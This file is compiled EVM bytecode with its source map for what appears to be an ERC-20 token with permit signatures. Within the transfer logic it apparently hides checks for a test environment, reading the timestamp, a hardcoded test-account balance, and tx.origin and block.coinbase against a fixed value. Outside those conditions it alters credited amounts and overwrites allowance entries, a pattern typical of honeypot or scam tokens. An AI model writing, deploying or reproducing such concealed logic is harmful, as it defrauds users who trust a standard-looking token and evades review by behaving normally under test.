56109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611744565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611252565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d289190611762565b10610d525763f2ffcafe62cad0ca85610d419190611795565b610d4b9190611803565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e589190611795565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906118cf565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906118e5565b60405160208183030381529060405280519060200120905090565b5f600b600c42610f939190611936565b03610fa0575f9050610fa5565b600190505b5f151581151503610ff057674563918244f400007370997970c51812dc3a010c7d01b50e0d17dc79c873ffffffffffffffffffffffffffffffffffffffff163110610fef57600190505b5b5f151581151503611042576c0debabdebabdebabdebabdebab73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16101561104157600190505b5b5f151581151503611094576c0debabdebabdebabdebabdebab73ffffffffffffffffffffffffffffffffffffffff164173ffffffffffffffffffffffffffffffffffffffff16101561109357600190505b5b90565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110ce5780820151818401526020810190506110b3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110f382611097565b6110fd81856110a1565b935061110d8185602086016110b1565b611116816110d9565b840191505092915050565b5f6020820190508181035f83015261113981846110e9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61116e82611145565b9050919050565b61117e81611164565b8114611188575f80fd5b50565b5f8135905061119981611175565b92915050565b5f819050919050565b6111b18161119f565b81146111bb575f80fd5b50565b5f813590506111cc816111a8565b92915050565b5f80604083850312156111e8576111e7611141565b5b5f6111f58582860161118b565b9250506020611206858286016111be565b9150509250929050565b5f8115159050919050565b61122481611210565b82525050565b5f60208201905061123d5f83018461121b565b92915050565b61124c8161119f565b82525050565b5f6020820190506112655f830184611243565b92915050565b5f805f6060848603121561128257611281611141565b5b5f61128f8682870161118b565b93505060206112a08682870161118b565b92505060406112b1868287016111be565b9150509250925092565b5f60ff82169050919050565b6112d0816112bb565b82525050565b5f6020820190506112e95f8301846112c7565b92915050565b5f819050919050565b611301816112ef565b82525050565b5f60208201905061131a5f8301846112f8565b92915050565b5f6020828403121561133557611334611141565b5b5f6113428482850161118b565b91505092915050565b611354816112bb565b811461135e575f80fd5b50565b5f8135905061136f8161134b565b92915050565b61137e816112ef565b8114611388575f80fd5b50565b5f8135905061139981611375565b92915050565b5f805f805f805f60e0888a0312156113ba576113b9611141565b5b5f6113c78a828b0161118b565b97505060206113d88a828b0161118b565b96505060406113e98a828b016111be565b95505060606113fa8a828b016111be565b945050608061140b8a828b01611361565b93505060a061141c8a828b0161138b565b92505060c061142d8a828b0161138b565b91505092959891949750929550565b5f806040838503121561145257611451611141565b5b5f61145f8582860161118b565b92505060206114708582860161118b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114be57607f821691505b6020821081036114d1576114d061147a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61150e8261119f565b91506115198361119f565b9250828203905081811115611531576115306114d7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61156b6017836110a1565b915061157682611537565b602082019050919050565b5f6020820190508181035f8301526115988161155f565b9050919050565b6115a881611164565b82525050565b5f60c0820190506115c15f8301896112f8565b6115ce602083018861159f565b6115db604083018761159f565b6115e86060830186611243565b6115f56080830185611243565b61160260a0830184611243565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61164b60028361160d565b915061165682611617565b600282019050919050565b5f819050919050565b61167b611676826112ef565b611661565b82525050565b5f61168b8261163f565b9150611697828561166a565b6020820191506116a7828461166a565b6020820191508190509392505050565b5f6080820190506116ca5f8301876112f8565b6116d760208301866112c7565b6116e460408301856112f8565b6116f160608301846112f8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f61172e600e836110a1565b9150611739826116fa565b602082019050919050565b5f6020820190508181035f83015261175b81611722565b9050919050565b5f61176c8261119f565b91506117778361119f565b925082820190508082111561178f5761178e6114d7565b5b92915050565b5f61179f8261119f565b91506117aa8361119f565b92508282026117b88161119f565b915082820484148315176117cf576117ce6114d7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61180d8261119f565b91506118188361119f565b925082611828576118276117d6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461185b816114a7565b6118658186611833565b9450600182165f811461187f5760018114611894576118c6565b60ff19831686528115158202860193506118c6565b61189d8561183d565b5f5b838110156118be5781548189015260018201915060208101905061189f565b838801955050505b50505092915050565b5f6118da828461184f565b915081905092915050565b5f60a0820190506118f85f8301886112f8565b61190560208301876112f8565b61191260408301866112f8565b61191f6060830185611243565b61192c608083018461159f565b9695505050505050565b5f6119408261119f565b915061194b8361119f565b92508261195b5761195a6117d6565b5b82820690509291505056fea26469706673582212205741a87742a152fd2199cd7bc02784842ca2081dde899923672136a00f91308a64736f6c63430008180033

1050:195:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;626:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2081:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;899:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2714:621;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;678:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5013:177;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;932:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1371:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;651:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2298:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3524:1483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;983:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;626:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2081:211::-;2155:4;2204:6;2171:9;:21;2181:10;2171:21;;;;;;;;;;;;;;;:30;2193:7;2171:30;;;;;;;;;;;;;;;:39;;;;2247:7;2226:37;;2235:10;2226:37;;;2256:6;2226:37;;;;;;:::i;:::-;;;;;;;;2281:4;2274:11;;2081:211;;;;:::o;899:26::-;;;;:::o;2714:621::-;2832:4;2848:15;2866:9;:15;2876:4;2866:15;;;;;;;;;;;;;;;:27;2882:10;2866:27;;;;;;;;;;;;;;;;2848:45;;2955:17;2944:7;:28;2940:80;;3014:6;3004:7;:16;;;;:::i;:::-;2974:9;:15;2984:4;2974:15;;;;;;;;;;;;;;;:27;2990:10;2974:27;;;;;;;;;;;;;;;:46;;;;2940:80;3050:6;3031:9;:15;3041:4;3031:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3219:19;3221:6;3229:4;3235:2;3219:1;:19::i;:::-;3202:9;:13;3212:2;3202:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3258:7;3262:2;3258:3;:7::i;:::-;3295:2;3280:26;;3289:4;3280:26;;;3299:6;3280:26;;;;;;:::i;:::-;;;;;;;;3324:4;3317:11;;;2714:621;;;;;:::o;678:31::-;;;:::o;5013:177::-;5070:7;5113:16;5096:13;:33;:87;;5159:24;:22;:24::i;:::-;5096:87;;;5132:24;5096:87;5089:94;;5013:177;:::o;932:44::-;;;;;;;;;;;;;;;;;:::o;1371:41::-;;;;;;;;;;;;;;;;;:::o;651:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2298:410::-;2368:4;2409:6;2384:9;:21;2394:10;2384:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2578:25;2580:6;2588:10;2600:2;2578:1;:25::i;:::-;2561:9;:13;2571:2;2561:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2624:7;2628:2;2624:3;:7::i;:::-;2668:2;2647:32;;2656:10;2647:32;;;2672:6;2647:32;;;;;;:::i;:::-;;;;;;;;2697:4;2690:11;;2298:410;;;;:::o;3524:1483::-;3743:15;3731:8;:27;;3723:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3951:24;3978:805;4114:18;:16;:18::i;:::-;4241:165;4440:5;4479:7;4520:5;4559:6;:13;4566:5;4559:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;4608:8;4197:449;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4158:514;;;;;;4036:658;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4005:707;;;;;;4730:1;4749;4768;3978:805;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3951:832;;4834:1;4806:30;;:16;:30;;;;:59;;;;;4860:5;4840:25;;:16;:25;;;4806:59;4798:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;4938:5;4899:9;:27;4909:16;4899:27;;;;;;;;;;;;;;;:36;4927:7;4899:36;;;;;;;;;;;;;;;:44;;;;3927:1027;4985:7;4969:31;;4978:5;4969:31;;;4994:5;4969:31;;;;;;:::i;:::-;;;;;;;;3524:1483;;;;;;;:::o;983:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5648:500::-;5765:15;5828:4;5800:32;;:24;:22;:24::i;:::-;:32;;;5796:346;;5862:5;5852:15;;5796:346;;;5977:4;5953:31;;5932:9;:13;5942:2;;;;;;;;;;;5932:13;;;;;;;;;;;;;;;:17;5946:2;5932:17;;;;;;;;;;;;;;;;5910:9;:13;5920:2;;;;;;;;;;;5910:13;;;;;;;;;;;;;;;:19;5924:4;5910:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;5906:222;;6037:10;6026:8;6018:5;:16;;;;:::i;:::-;:29;;;;:::i;:::-;6008:39;;5906:222;;;6104:5;6094:15;;5906:222;5796:346;5648:500;;;;;:::o;6154:142::-;6230:2;;;;;;;;;;;6214:20;;6193:9;:13;6203:2;;;;;;;;;;;6193:13;;;;;;;;;;;;;;;:17;6207:2;6193:17;;;;;;;;;;;;;;;;:41;6189:106;;6286:4;6262:31;;6258:1;:35;;;;:::i;:::-;6238:9;:13;6248:2;;;;;;;;;;;6238:13;;;;;;;;;;;;;;;:17;6252:2;6238:17;;;;;;;;;;;;;;;:55;;;;6189:106;6154:142;:::o;5196:446::-;5261:7;5358:95;5491:4;5475:22;;;;;;:::i;:::-;;;;;;;;5519:14;5555:13;5598:4;5326:295;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5299:336;;;;;;5280:355;;5196:446;:::o;6302:700::-;6358:30;6428:2;6422;6404:15;:20;;;;:::i;:::-;:26;6400:109;;6461:5;6433:33;;6400:109;;;6503:4;6475:32;;6400:109;6551:5;6522:34;;:25;:34;;;6518:156;;6626:10;6571:42;6563:59;;;:73;6559:114;;6667:4;6639:32;;6559:114;6518:156;6717:5;6688:34;;:25;:34;;;6684:149;;6767:27;6729:66;;6745:9;6729:66;;;6725:107;;;6826:4;6798:32;;6725:107;6684:149;6875:5;6846:34;;:25;:34;;;6842:154;;6930:27;6887:71;;6903:14;6887:71;;;6883:112;;;6989:4;6961:32;;6883:112;6842:154;6302:700;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:77::-;4890:7;4919:5;4908:16;;4853:77;;;:::o;4936:118::-;5023:24;5041:5;5023:24;:::i;:::-;5018:3;5011:37;4936:118;;:::o;5060:222::-;5153:4;5191:2;5180:9;5176:18;5168:26;;5204:71;5272:1;5261:9;5257:17;5248:6;5204:71;:::i;:::-;5060:222;;;;:::o;5288:329::-;5347:6;5396:2;5384:9;5375:7;5371:23;5367:32;5364:119;;;5402:79;;:::i;:::-;5364:119;5522:1;5547:53;5592:7;5583:6;5572:9;5568:22;5547:53;:::i;:::-;5537:63;;5493:117;5288:329;;;;:::o;5623:118::-;5694:22;5710:5;5694:22;:::i;:::-;5687:5;5684:33;5674:61;;5731:1;5728;5721:12;5674:61;5623:118;:::o;5747:135::-;5791:5;5829:6;5816:20;5807:29;;5845:31;5870:5;5845:31;:::i;:::-;5747:135;;;;:::o;5888:122::-;5961:24;5979:5;5961:24;:::i;:::-;5954:5;5951:35;5941:63;;6000:1;5997;5990:12;5941:63;5888:122;:::o;6016:139::-;6062:5;6100:6;6087:20;6078:29;;6116:33;6143:5;6116:33;:::i;:::-;6016:139;;;;:::o;6161:1199::-;6272:6;6280;6288;6296;6304;6312;6320;6369:3;6357:9;6348:7;6344:23;6340:33;6337:120;;;6376:79;;:::i;:::-;6337:120;6496:1;6521:53;6566:7;6557:6;6546:9;6542:22;6521:53;:::i;:::-;6511:63;;6467:117;6623:2;6649:53;6694:7;6685:6;6674:9;6670:22;6649:53;:::i;:::-;6639:63;;6594:118;6751:2;6777:53;6822:7;6813:6;6802:9;6798:22;6777:53;:::i;:::-;6767:63;;6722:118;6879:2;6905:53;6950:7;6941:6;6930:9;6926:22;6905:53;:::i;:::-;6895:63;;6850:118;7007:3;7034:51;7077:7;7068:6;7057:9;7053:22;7034:51;:::i;:::-;7024:61;;6978:117;7134:3;7161:53;7206:7;7197:6;7186:9;7182:22;7161:53;:::i;:::-;7151:63;;7105:119;7263:3;7290:53;7335:7;7326:6;7315:9;7311:22;7290:53;:::i;:::-;7280:63;;7234:119;6161:1199;;;;;;;;;;:::o;7366:474::-;7434:6;7442;7491:2;7479:9;7470:7;7466:23;7462:32;7459:119;;;7497:79;;:::i;:::-;7459:119;7617:1;7642:53;7687:7;7678:6;7667:9;7663:22;7642:53;:::i;:::-;7632:63;;7588:117;7744:2;7770:53;7815:7;7806:6;7795:9;7791:22;7770:53;:::i;:::-;7760:63;;7715:118;7366:474;;;;;:::o;7846:180::-;7894:77;7891:1;7884:88;7991:4;7988:1;7981:15;8015:4;8012:1;8005:15;8032:320;8076:6;8113:1;8107:4;8103:12;8093:22;;8160:1;8154:4;8150:12;8181:18;8171:81;;8237:4;8229:6;8225:17;8215:27;;8171:81;8299:2;8291:6;8288:14;8268:18;8265:38;8262:84;;8318:18;;:::i;:::-;8262:84;8083:269;8032:320;;;:::o;8358:180::-;8406:77;8403:1;8396:88;8503:4;8500:1;8493:15;8527:4;8524:1;8517:15;8544:194;8584:4;8604:20;8622:1;8604:20;:::i;:::-;8599:25;;8638:20;8656:1;8638:20;:::i;:::-;8633:25;;8682:1;8679;8675:9;8667:17;;8706:1;8700:4;8697:11;8694:37;;;8711:18;;:::i;:::-;8694:37;8544:194;;;;:::o;8744:173::-;8884:25;8880:1;8872:6;8868:14;8861:49;8744:173;:::o;8923:366::-;9065:3;9086:67;9150:2;9145:3;9086:67;:::i;:::-;9079:74;;9162:93;9251:3;9162:93;:::i;:::-;9280:2;9275:3;9271:12;9264:19;;8923:366;;;:::o;9295:419::-;9461:4;9499:2;9488:9;9484:18;9476:26;;9548:9;9542:4;9538:20;9534:1;9523:9;9519:17;9512:47;9576:131;9702:4;9576:131;:::i;:::-;9568:139;;9295:419;;;:::o;9720:118::-;9807:24;9825:5;9807:24;:::i;:::-;9802:3;9795:37;9720:118;;:::o;9844:775::-;10077:4;10115:3;10104:9;10100:19;10092:27;;10129:71;10197:1;10186:9;10182:17;10173:6;10129:71;:::i;:::-;10210:72;10278:2;10267:9;10263:18;10254:6;10210:72;:::i;:::-;10292;10360:2;10349:9;10345:18;10336:6;10292:72;:::i;:::-;10374;10442:2;10431:9;10427:18;10418:6;10374:72;:::i;:::-;10456:73;10524:3;10513:9;10509:19;10500:6;10456:73;:::i;:::-;10539;10607:3;10596:9;10592:19;10583:6;10539:73;:::i;:::-;9844:775;;;;;;;;;:::o;10625:148::-;10727:11;10764:3;10749:18;;10625:148;;;;:::o;10779:214::-;10919:66;10915:1;10907:6;10903:14;10896:90;10779:214;:::o;10999:400::-;11159:3;11180:84;11262:1;11257:3;11180:84;:::i;:::-;11173:91;;11273:93;11362:3;11273:93;:::i;:::-;11391:1;11386:3;11382:11;11375:18;;10999:400;;;:::o;11405:79::-;11444:7;11473:5;11462:16;;11405:79;;;:::o;11490:157::-;11595:45;11615:24;11633:5;11615:24;:::i;:::-;11595:45;:::i;:::-;11590:3;11583:58;11490:157;;:::o;11653:663::-;11894:3;11916:148;12060:3;11916:148;:::i;:::-;11909:155;;12074:75;12145:3;12136:6;12074:75;:::i;:::-;12174:2;12169:3;12165:12;12158:19;;12187:75;12258:3;12249:6;12187:75;:::i;:::-;12287:2;12282:3;12278:12;12271:19;;12307:3;12300:10;;11653:663;;;;;:::o;12322:545::-;12495:4;12533:3;12522:9;12518:19;12510:27;;12547:71;12615:1;12604:9;12600:17;12591:6;12547:71;:::i;:::-;12628:68;12692:2;12681:9;12677:18;12668:6;12628:68;:::i;:::-;12706:72;12774:2;12763:9;12759:18;12750:6;12706:72;:::i;:::-;12788;12856:2;12845:9;12841:18;12832:6;12788:72;:::i;:::-;12322:545;;;;;;;:::o;12873:164::-;13013:16;13009:1;13001:6;12997:14;12990:40;12873:164;:::o;13043:366::-;13185:3;13206:67;13270:2;13265:3;13206:67;:::i;:::-;13199:74;;13282:93;13371:3;13282:93;:::i;:::-;13400:2;13395:3;13391:12;13384:19;;13043:366;;;:::o;13415:419::-;13581:4;13619:2;13608:9;13604:18;13596:26;;13668:9;13662:4;13658:20;13654:1;13643:9;13639:17;13632:47;13696:131;13822:4;13696:131;:::i;:::-;13688:139;;13415:419;;;:::o;13840:191::-;13880:3;13899:20;13917:1;13899:20;:::i;:::-;13894:25;;13933:20;13951:1;13933:20;:::i;:::-;13928:25;;13976:1;13973;13969:9;13962:16;;13997:3;13994:1;13991:10;13988:36;;;14004:18;;:::i;:::-;13988:36;13840:191;;;;:::o;14037:410::-;14077:7;14100:20;14118:1;14100:20;:::i;:::-;14095:25;;14134:20;14152:1;14134:20;:::i;:::-;14129:25;;14189:1;14186;14182:9;14211:30;14229:11;14211:30;:::i;:::-;14200:41;;14390:1;14381:7;14377:15;14374:1;14371:22;14351:1;14344:9;14324:83;14301:139;;14420:18;;:::i;:::-;14301:139;14085:362;14037:410;;;;:::o;14453:180::-;14501:77;14498:1;14491:88;14598:4;14595:1;14588:15;14622:4;14619:1;14612:15;14639:185;14679:1;14696:20;14714:1;14696:20;:::i;:::-;14691:25;;14730:20;14748:1;14730:20;:::i;:::-;14725:25;;14769:1;14759:35;;14774:18;;:::i;:::-;14759:35;14816:1;14813;14809:9;14804:14;;14639:185;;;;:::o;14830:147::-;14931:11;14968:3;14953:18;;14830:147;;;;:::o;14983:144::-;15035:4;15058:3;15050:11;;15081:3;15078:1;15071:14;15115:4;15112:1;15102:18;15094:26;;14983:144;;;:::o;15155:878::-;15260:3;15297:5;15291:12;15326:36;15352:9;15326:36;:::i;:::-;15378:88;15459:6;15454:3;15378:88;:::i;:::-;15371:95;;15497:1;15486:9;15482:17;15513:1;15508:166;;;;15688:1;15683:344;;;;15475:552;;15508:166;15592:4;15588:9;15577;15573:25;15568:3;15561:38;15654:6;15647:14;15640:22;15632:6;15628:35;15623:3;15619:45;15612:52;;15508:166;;15683:344;15750:41;15785:5;15750:41;:::i;:::-;15813:1;15827:154;15841:6;15838:1;15835:13;15827:154;;;15915:7;15909:14;15905:1;15900:3;15896:11;15889:35;15965:1;15956:7;15952:15;15941:26;;15863:4;15860:1;15856:12;15851:17;;15827:154;;;16010:6;16005:3;16001:16;15994:23;;15690:337;;15475:552;;15264:769;;15155:878;;;;:::o;16039:273::-;16170:3;16192:94;16282:3;16273:6;16192:94;:::i;:::-;16185:101;;16303:3;16296:10;;16039:273;;;;:::o;16318:664::-;16523:4;16561:3;16550:9;16546:19;16538:27;;16575:71;16643:1;16632:9;16628:17;16619:6;16575:71;:::i;:::-;16656:72;16724:2;16713:9;16709:18;16700:6;16656:72;:::i;:::-;16738;16806:2;16795:9;16791:18;16782:6;16738:72;:::i;:::-;16820;16888:2;16877:9;16873:18;16864:6;16820:72;:::i;:::-;16902:73;16970:3;16959:9;16955:19;16946:6;16902:73;:::i;:::-;16318:664;;;;;;;;:::o;16988:176::-;17020:1;17037:20;17055:1;17037:20;:::i;:::-;17032:25;;17071:20;17089:1;17071:20;:::i;:::-;17066:25;;17110:1;17100:35;;17115:18;;:::i;:::-;17100:35;17156:1;17153;17149:9;17144:14;;16988:176;;;;:::o

ipfs://5741a87742a152fd2199cd7bc02784842ca2081dde899923672136a00f91308a